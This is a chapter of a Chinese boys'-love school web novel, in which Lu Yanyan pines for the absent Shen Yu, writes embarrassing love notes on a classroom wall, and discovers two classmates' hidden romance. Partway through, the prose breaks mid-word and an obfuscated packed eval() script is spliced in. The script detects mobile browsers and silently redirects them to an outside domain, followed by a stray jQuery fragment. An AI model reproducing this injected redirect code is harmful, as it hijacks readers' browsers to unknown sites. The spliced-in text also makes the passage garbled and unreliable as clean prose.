沈隅起得早，陆严言起床时他已经不见了。
自从他那天晚上亲了他之后，沈隅就一直躲着他，也不跟他一起走，好像在刻意保持着一段距离。
顺路的时候沈隅不等他，不顺路就更加不可能了。
陆严言盯着那个空荡的、被子被叠得十分整齐的床铺，心里轻轻叹了口气。
————
教室里刚下早自习，乱糟糟的。
陆严言从杨雪办公室背完单词出来，嘴里还叼着半块没吃完的面包，刚走到走廊拐角，就撞上了抱着一摞作业本的纪思庭。
“哟，陆严言？”纪思庭抬头看见他，挑着眉笑了笑，语气里带点戏谑，“沈隅呢？没跟你一块儿？”
陆严言把嘴里的面包咽下去：“他去竞赛了，你不知道？”
纪思庭愣了一下，随即挠了挠头，眼神有点闪躲，显得不太自在：“呃……最近事儿多，没太注意。”他顿了顿，又瞅着陆严言，“说起来，怎么最近总见你一个人？沈隅不跟你一块儿走了？”
陆严言张了张嘴，话到嘴边又咽了回去。
他其实挺想跟纪思庭说说的——纪思庭是沈隅最好的朋友，说不定能帮着出出主意。
可转念一想，又觉得算了。要是沈隅真不喜欢自己，就算纪思庭帮忙，又能怎么样？反倒给他们俩的友情添堵。
他眉头皱了皱，没说话。
“喂，走什么神呢？”纪思庭用胳膊肘轻轻撞了他一下，“有啥不能说的？我又不会吃了你。”
陆严言被他问得有点尴尬，扯了扯嘴角，露出个不太自然的笑，连忙摆手：“没事、没事，真没事。你赶紧去交作业吧，一会儿老师该催了。”说完，生怕纪思庭再追问，转身就溜，脚步都比平时快了半拍，眨眼就没影了。
纪思庭看着他跑远的背影，无奈地笑了笑。
沈隅说的果然没错，这个人还真是喜欢把事情写在脸上，刚刚那样，明显是有事嘛。
他摇摇头，也没再多想。毕竟自己的一堆事儿还没理顺呢，哪有功夫操心别人的闲事。抱着作业本，慢悠悠地往办公室走去。
—————
“哎哟，言言，跑那么急干嘛？后面有鬼在追你呀？”
陆严言骂道：“滚吧。”
赵铭贱兮兮地从桌洞掏出盒扑克牌，朝他笑道：“来打牌啊。”
“不打！”
赵铭愣了下，挑眉看着他，一脸困惑：“为啥啊？不是刚考完月考吗？杨雪都没留作业，不就等着这会儿放松呢？”
陆严言猛地抬起头，瞪了他一眼，手往桌子上一拍，声音拔高了点：“完你个头啊！月考算个屁？高考才是真正的战场！”话说完，自己都顿了顿，好像也觉得突然这么正经有点别扭，耳朵尖悄悄红了。
“噗嗤——”赵铭没忍住，捂着嘴笑出声，肩膀抖个不停。
斜前方的林溪本来低头写着题，闻言笔尖顿了顿，抬眼看向陆严言，嘴角也弯了弯，眼里带着点笑意：“你这是……被杨老师附体了？”
“就是啊兄弟，”赵铭笑得更大声，伸手拍着陆严言的胳膊，“你现在这表情，这语气，跟杨雪训话时一模一样！怎么着，周一文艺汇演，你也要弹《致爱丽丝》啊？哈哈哈哈……”
陆严言没理他的疯笑，自顾自地把桌洞清空，“哗啦”一声抽出物理课本，又把试卷、笔记本一股脑摊开，红笔黑笔摆得整整齐齐，跟摆阵似的。
他梗着脖子，表情严肃得像要上战场：“不打牌，不开黑，从现在起，专注学习。”
赵铭看他这架势，收了笑，凑过去，压低声音在他耳边嘀咕：“不是，你真没毛病啊？杨雪给你下蛊了？”
陆严言被他哈的热气吹得耳朵痒，忍无可忍，手肘往后一怼，正撞在赵铭胳膊上，声音闷闷的，带着点羞恼：“滚。”
赵铭“嘶”了一声，揉着胳膊退回去，看着陆严言埋首书本的背影，跟林溪交换了个眼神。
课间教室里没剩几个人。陆严言趴在桌上刷生物卷，指尖捏着笔在“有丝分裂各时期特征”那题上敲了半天，眉头拧得能夹死蚊子。
“啧，这破题。”他咬着笔杆嘟囔，后颈蹭得衣领皱巴巴的。
往常这种时候，他早拎着卷子往后排冲了——沈隅坐在最后一排靠窗的位置，课间操要么刷题要么看竞赛资料，问他题一问一个准。
脑子里那根弦还没转过来，身体已经先动了。
陆严言“噌”地站起来，步子迈得又快又急，直到膝盖撞到最后一排的课桌腿，他才猛地顿住。
桌肚里空荡荡的，桌面上只放着一本摊开的物理竞赛书，页脚卷着，是沈隅上次没看完的那页。
哦，忘了。陆严言盯着那本书，嘴角往下垮了垮，心里有点空落落的。
他挠了挠头，干脆拉开沈隅的椅子坐下。
“说不定沾点学霸的灵气。”他嘀咕着把生物卷摊开，指尖划过桌面，摸到一道浅浅的刻痕，是沈隅以前算题时用笔尖划的辅助线。
他接着往下做那些他会做的题，可没做两道，心思又飘了。
他开始胡思乱想：沈隅现在在干啥呢？不知道可不可以接电话，要不今天回家给他打一个？要是玩不了手机那也太惨了吧！
越想越没法专注，笔在指间转得飞快，“啪嗒”一声掉在地上。
陆严言弯腰去捡，看见墙根处有几道淡淡的铅笔印，像是以前谁在这儿写过字。
不知道哪根筋搭错了，他捡起笔，在墙上划了划。笔没水，他甩了两下，墨珠溅在指尖，晕开一小片黑。
“sy我好想你。”
写完觉得不够，又往下划：“sy我喜欢你。”
笔尖顿了顿，他咬着唇，鬼使神差地接着写：“sy爱lyy”“sy和lyy永远在一起！”
字写得歪歪扭扭，像小学生涂鸦。
陆严言盯着看了两秒，忽然觉得脸发烫，把笔一扔，趴在沈隅的胳膊肘印上，没一会儿就睡着了——大概是刚才那阵胡思乱想太费神。
上课铃响时，他猛地惊醒，口水在胳膊上洇出一小片湿痕。
揉着眼睛抬头，视线正好撞进墙上那几行字里。
“我靠！”陆严言的脸“唰”地红透了，从耳根一直烧到脖子。
他手忙脚乱地从桌洞里抽纸巾，蘸着口水往墙上擦，可墨水早就渗进墙皮里，越擦越花，那几个缩写反倒更显眼了。
“完了完了。”他抓着头发蹲下去，恨不得找个地缝钻进去。
沈隅下周就回来了，他肯定会看见的！
“千万别看懂是啥意思啊……”陆严言对着墙祈祷，声音发颤，“就当是哪个神经病瞎写的，跟咱俩没关系……”
他盯着那片狼藉，真想穿越回去，把刚才那个手贱的自己按在地上揍一顿——写的什么玩意儿！又蠢又丢人！
这节课，他一个字也没听进去，满脑子都是墙上的字和沈隅可能露出的表情。
完了，这下脸丢到家了。
——————
“喂？妈，刘叔几点来啊？他到门口了？OK我马上过去。”陆严言背起书包，火急火燎地下楼。
刚下到三楼转角，一道带着点闷火的男声突然飘过来，钻进耳朵里。
“所以我们现在算什么？”
陆严言的脚步骤然顿住，耳尖动了动。这声音……怎么听着像汪以晗？
他皱了皱眉，本想抬脚继续走——这种俩人之间的事儿，掺和了麻烦。
可下一秒，另一道男声接了话，彻底钉住了他的脚步。
“现在还不行，”是纪思庭的声音，比平时低了点，带着点犹豫，“我家那边……再给我点时间，很快就能搞定，相信我。”
陆严言感
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279519|182493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉自己好像听到了什么不得了的事情，正准备偷偷溜走装作不知道的他被刚好出来的纪思庭抓了个正着。
“陆严言！”
陆严言被他这么一喊，顿时心虚道：“我什么也没听到！”
纪思庭盯着他看了两秒，忽然低笑了声，声音里没什么火气，反倒有点无奈：“听到了也没事。”
“没事？”汪以晗猛地转头瞪他，刚才压着的火气全冒了出来，抬手就往纪思庭胳膊上怼了一下，力道不轻，带着股子气，“还不是都怪你！非要在这儿……你不怕我还怕呢！”说着，脖子都红了，语气硬邦邦的，却透着点没辙的劲儿。
纪思庭没躲，任由他怼了一下，随即低下头，凑到他耳边，声音放得很轻，带着点哄人的意思：“没事儿，他又不是外人。”
“谁跟你说这个！”汪以晗被他说得更气，抬手用力推开他。
汪以晗手刚抬起来，纪思庭已经反手扣住了他的手腕。指节用力，把他的手牢牢攥在掌心里，温热的触感顺着皮肤漫过来。
汪以晗皱着眉挣了两下，手腕被攥得更紧，也就松了劲，指尖蜷了蜷，任由他牵着，只是脸别向一边，耳尖红得厉害。
陆严言站在原地，眼睛眨了两下，后颈有点发烫。
空气里好像飘着点说不清道不明的劲儿，他忽然觉得自己在这儿有点多余，跟个电线杆似的杵着，浑身不自在。
他悄悄往后挪了半步，打算趁这俩人没注意，溜之大吉。
脚刚抬起来，纪思庭的声音就飘了过来：“诶，陆严言。”
陆严言僵住，转头看见纪思庭冲他扬了扬下巴：“你不是也要去校门口？一起走。”
“哦……哦，好。”他脚像被钉在原地，半天脚步有点僵硬地跟上去。
楼道里安安静静的，只有三个人的脚步声。
纪思庭的手还牵着汪以晗，没松开，偶尔指尖会轻轻蹭一下汪以晗的手背，汪以晗就会抿着嘴往旁边挣半寸，却没真的甩开。
陆严言跟在后面，看着他们交握的手，心里头有点发闷。
这俩人怎么回事？前阵子还跟仇人似的，见面就吵，谁看谁都不顺眼。这才多久，居然就牵上手了？
他摸了摸鼻子，想起自己和沈隅。明明一直好好的，就跟左手和右手似的顺理成章。就因为他那晚没忍住，亲了沈隅一下，现在就变成这样——见了面跟躲瘟神似的，连并肩走段路都难。
凭什么啊？陆严言心里头那点不公感冒了上来，脚步都沉了些。他们俩吵成那样都能好，他和沈隅明明没做错什么，怎么就弄得这么僵？
快到校门口时，陆严言眼睛亮了一下。不远处的路边停着辆阿斯顿马丁，银灰色的车身在夕阳下闪得晃眼。
他跟着余莉妍见过几次，知道这车不便宜，心里嘀咕：这谁家的车，够扎眼的，来接儿子放学？
正想着，就见纪思庭抬手打开了车门。
陆严言这才反应过来——合着这车是来接纪思庭的。
难怪汪以晗刚才在路口就停了脚，没跟过来——换成是他，也不敢来，毕竟这两人现在正瞒着家里谈恋爱呢。
纪思庭一只脚都已经踩上车门，忽然又回过头，看着他说：“有什么想跟我说的，今晚微信找我。”他挑了挑眉，嘴角勾了点笑，“我嘴严。仅限今晚，逾期不候啊。”
陆严言愣了愣，手指在书包带上蹭了蹭，心里头乱糟糟的。他确实有满肚子话想问，关于沈隅，关于怎么才能不这么僵。
可话到嘴边，又不知道该说什么。
但是纪思庭说他不会说出去，也不会跟沈隅说……那他可不可以请教一下……就一下。
“哦……”他含糊地应了一声，看着纪思庭上了车。阿斯顿马丁的引擎发出一声轻响，很快汇入了车流。
陆严言站在原地，风卷着路边的落叶打在他鞋上。